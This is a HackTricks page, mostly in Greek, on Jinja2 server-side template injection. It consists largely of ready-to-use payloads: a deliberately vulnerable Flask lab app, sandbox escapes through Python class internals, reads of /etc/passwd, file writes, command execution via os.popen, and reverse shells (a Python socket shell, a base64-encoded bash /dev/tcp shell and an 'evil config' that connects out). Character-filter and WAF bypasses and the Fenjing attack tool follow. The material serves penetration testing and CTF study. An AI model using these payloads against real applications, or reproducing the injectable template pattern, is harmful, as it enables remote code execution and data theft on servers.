Jinja2 SSTI
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εργαστήριο
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Διάφορα
Δήλωση Debug
Εάν η Debug Extension είναι ενεργοποιημένη, θα είναι διαθέσιμο ένα tag debug για να εμφανίσει το τρέχον context καθώς και τα διαθέσιμα φίλτρα και tests. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο για χρήση στο template χωρίς να στήσετε έναν debugger.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Πηγή: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Εξαγωγή όλων των μεταβλητών config
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Πρώτα απ’ όλα, σε μια Jinja injection πρέπει να βρείτε έναν τρόπο να ξεφύγετε από το sandbox και να επανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης του python. Για να το πετύχετε αυτό, πρέπει να εκμεταλλευτείτε objects που είναι από το non-sanboxed environment αλλά είναι προσπελάσιμα από το sandbox.
Πρόσβαση σε Global Objects
Για παράδειγμα, στον κώδικα render_template("hello.html", username=username, email=email) τα αντικείμενα username και email come from the non-sanboxed python env και θα είναι accessible μέσα στο sandboxed env.
Επιπλέον, υπάρχουν και άλλα αντικείμενα που θα είναι always accessible from the sandboxed env, αυτά είναι:
[]
''
()
dict
config
request
Ανάκτηση <class ‘object’>
Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: <class 'object'> ώστε να προσπαθήσουμε να ανακτήσουμε ορισμένες κλάσεις. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο __subclasses__ και να έχουμε πρόσβαση σε όλες τις κλάσεις από το non-sandboxed python env.
Για να αποκτήσετε πρόσβαση σε αυτή την object class, πρέπει να αποκτήσετε πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να προσπελάσετε είτε __base__, είτε __mro__()[-1] ή .mro()[-1]. Και μετά, αφού φτάσουμε σε αυτή την object class, καλούμε την __subclasses__().
Δείτε τα παρακάτω παραδείγματα:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Αφού ανακτήσαμε <class 'object'> και καλέσαμε __subclasses__, μπορούμε πλέον να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάζουμε και να γράφουμε αρχεία και να εκτελούμε code.
Η κλήση στο __subclasses__ μας έδωσε την ευκαιρία να έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις, θα είμαστε ικανοποιημένοι απλώς αν αποκτήσουμε πρόσβαση στην file class για ανάγνωση/εγγραφή αρχείων ή σε οποιαδήποτε κλάση που έχει πρόσβαση σε μια κλάση που επιτρέπει την εκτέλεση εντολών (όπως os).
Read/Write remote file
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Payloads με {% ... %}
Μερικές φορές {{ ... }} μπλοκάρεται, καθαρίζεται ή η injection καταλήγει σε ένα statement-friendly context. Σε αυτές τις περιπτώσεις μπορείτε να εκμεταλλευτείτε τις Jinja statement tags όπως {% with %}, {% if %}, {% for %}, {% set %} και, σε νεότερες εκδόσεις, {% print %} για να εκτελέσετε κώδικα, leak data μέσω του σώματος του block, ή να προκαλέσετε τυφλές παρενέργειες.
{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}
# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}
# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}
# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}
Εάν ο στόχος φιλτράρει κάποιους χαρακτήρες αλλά εξακολουθεί να επιτρέπει statement tags, συνδύασε αυτή την ιδέα με τα filter bypasses και το no-{{ / no-. / no-_ example. Θυμήσου επίσης ότι το {% print %} δεν είναι υποχρεωτικό: σε στόχους όπου δεν είναι διαθέσιμο, τα {% with %}, {% if %}, {% set %} και {% for %} συνήθως αρκούν για να συνεχίσεις την εκμετάλλευση του template.
Για να μάθεις για περισσότερες κλάσεις που μπορείς να χρησιμοποιήσεις για να escape μπορείς να ελέγξεις:
Filter bypasses
Common bypasses
These bypass will allow us to πρόσβαση the ιδιότητες of the αντικείμενα χωρίς να χρησιμοποιήσουμε κάποιοι χαρακτήρες.
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις σε προηγούμενα παραδείγματα, αλλά ας τις συνοψίσουμε εδώ:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Return here for more options to access a global object
- Return here for more options to access the object class
- Read this to get RCE without the object class
Αποφυγή κωδικοποίησης HTML
Εξ ορισμού, το Flask κωδικοποιεί όλα τα στοιχεία μέσα σε ένα πρότυπο σε HTML για λόγους ασφάλειας:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Το safe φίλτρο μας επιτρέπει να εισάγουμε JavaScript και HTML στη σελίδα χωρίς να είναι HTML encoded, όπως αυτό:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE γράφοντας ένα κακόβουλο config file.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Χωρίς ορισμένους χαρακτήρες
Χωρίς {{ . [ ] }} _
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection χωρίς <class ‘object’>
Από τα global objects υπάρχει ένας άλλος τρόπος για να φτάσετε σε RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.\
Αν καταφέρετε να φτάσετε σε οποιαδήποτε function από αυτά τα global objects, θα μπορείτε να αποκτήσετε πρόσβαση σε __globals__.__builtins__ και από εκεί το RCE είναι πολύ απλό.
Μπορείτε να find functions από τα αντικείμενα request, config και από οποιοδήποτε άλλο ενδιαφέρον global object στο οποίο έχετε πρόσβαση, χρησιμοποιώντας:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Αφού έχετε βρει μερικές συναρτήσεις, μπορείτε να ανακτήσετε τα builtins με:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για bruteforce μη έγκυρων params σε ένα πραγματικό σενάριο. Το εργαλείο απλώς spray words και queries για να ανιχνεύσει filters, ψάχνοντας για bypasses, και παρέχει επίσης ένα interactive console.
Μετάφραση Google Αγγλικά-Κινέζικα
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- https://jinja.palletsprojects.com/en/stable/templates/
- Δείτε το κόλπο attr για παράκαμψη αποκλεισμένων χαρακτήρων εδώ.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


